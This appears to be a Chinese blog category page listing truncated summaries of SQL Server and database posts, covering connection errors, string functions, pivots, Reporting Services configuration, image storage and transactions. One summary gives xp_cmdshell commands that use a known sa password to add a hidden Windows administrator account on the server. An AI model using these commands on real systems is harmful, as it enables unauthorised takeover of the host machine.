摘要:1、如何理解SQL Server的实例
2、客户端如何与SQL Server交互
3、TDS、NET-Library和网络协议
4、服务器标识
5、登录ID与身份验证
6、身份验证模式
7、解决常见的连接问题
一. "SQL Server 不存在或访问被拒绝"
二. "无法连接到服务器,用户xxx登陆失败"
三.、提示连接超时
8、服务
阅读全文
随笔分类 - 数据库设计&技巧
摘要:使用:
select * from f_SplitStr('12,6,4',',')
结果:
12
6
4
阅读全文
摘要:if exists (select 1 from sysobjects where id = object_id('psintroduction') and type = 'U')drop table psintroductiongo要判断的表psintroduction
阅读全文
摘要:我用SQL SERVER2005 做查询,出现以上问题,请教各位有知道如何解决的没?多谢!!!
阅读全文
摘要:语句:select rank() over(Order By 表的主键 Desc) As UID ,其他列 from 表说明:rank函数作用:返回指定元组在指定集中的排名(排名从 1 开始)Rank(Tuple_Expression, Set_Expression [ ,Numeric Expression ] )参数:Tuple_Expression 一个有效的多维表达式 (MDX) 元组表达...
阅读全文
摘要:1.字符串函数长度与分析用 datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格 substring(expression,start,length) 不多说了,取子串 right(char_expr,int_expr) 返回字符串右边int_expr个字符 字符操作类 upper(char_expr) 转为大写 lower(char_expr) 转为小写 spac...
阅读全文
摘要:Report Service 为用户“NT AUTHORITY、NETWORK SERVICE”授予的权限不足,无法进行此操作。(rsAccessDenied)
解决办法
阅读全文
摘要:配置SQL Server 2005 Reporting Service 的订阅功能 一 配置报表服务器的远程 SMTP 服务 1. 请验证报表服务器 Windows 服务是否对 SMTP 服务器拥有 Send As 权限。 2. 在文本编辑器中打开 RSReportServer.config 文件。 3. 请验证是否将 设置为报表服务器 URL 地址。此值是在您配置报表服务器时设置的,应该...
阅读全文
摘要:1. 行列转换--普通假设有张学生成绩表(CJ)如下Name Subject Result张三 语文 80张三 数学 90张三 物理 85李四 语文 85李四 数学 92李四 物理 82想变成 姓名 语文 数学 物理张三 80 90 85李四 85 92 82declare @sql varchar(4000)set @sql = 'select Name'select @sql = @sql +...
阅读全文
摘要:一、 只复制一个表结构,不复制数据 select top 0 * into [t1] from [t2] 二、 获取数据库中某个对象的创建脚本 1、 先用下面的脚本创建一个函数 if exists(select 1 from sysobjects where id=object_id('fgetscript') and objectproperty(id,'IsInlineFunct...
阅读全文
摘要:将某种数据类型的表达式显式转换为另一种数据类型。CAST 和 CONVERT 提供相似的功能。 语法 使用 CAST: CAST ( expression AS data_type ) 使用 CONVERT: CONVERT (data_type[(length)], expression [, style]) 参数 expression 是任何有效的 Microsoft® SQL Server...
阅读全文
摘要:本文总结如何在.Net WinForm和.Net WebForm(asp.net)中将图片存入SQL Server中并读取显示的方法 。1.使用asp.net将图片上传并存入SQL Server中,然后从SQL Server中读取并显示出来:1)上传并存入SQL Server 数据库结构 create table test { id identity(1,1), FImage image } 相关...
阅读全文
摘要:我看原文以后的感想:1.不要使数据表数据过大2.建立适当的查询索引.原文地址:http://blog.csdn.net/lunar2000/archive/2006/04/06/652263.aspx原文如下:接到报告说,某省数据库CPU长时间负载很高,很多时候还经常是cpu idle值为各位数,甚至经常为=to_date('2006-03-14','yyyy-mm-dd') and OPR_TI...
阅读全文
摘要:数学函数 1.绝对值 S:select abs(-1) value O:select abs(-1) value from dual 2.取整(大) S:select ceiling(-1.001) value O:select ceil(-1.001) value from dual 3.取整(小) S:select floor(-1.001) value ...
阅读全文
摘要:最近有个朋友问我,他说他在SQLSERVER删除几百万到几千万数据是显的很慢,帮他分析了一下,提了一些以下意见,或许对很多人有用 如果你的硬盘空间小,并且不想设置数据库的日志为最小(因为希望其他正常的日志希望仍然记录),而且对速度要求比较高,并清除所有的数据建议你用turncate table1,因为truncate 是DDL操作,不产生rollback,不写日志速度快一些,然后如果有自增的话,...
阅读全文
摘要:需要先下载mysqlnet.exe,安装后引用CoreLab.MySql.dll 基本语句 insert into `mis`.`users` ( name, age) values ( "ywm", 13) select id, name, age from `mis`.`users` limit 0, 50 delete from `mis`.`users` where id > 8 up...
阅读全文
摘要:如果你知道某数据库sa的密码,而不知道你想操作的Windows服务器的系统管理员密码时,怎么办?启动查询分析器,依次执行以下三条语句: use masterexec xp_cmdshell 'net users tempuser /add'exec xp_cmdshell 'net localgroup administrators tempuser /add' 执行完毕后,使用tempuser就...
阅读全文
摘要:string myconnstring = ".....";SqlConnection myconn = new SqlConnection (myconn);myconn.open;SqlTransaction mytrans = myconn.BeginTransaction();//指定开始数据库事务对象SqlCommend mycmd = new SqlCommend ("sql语句",m...
阅读全文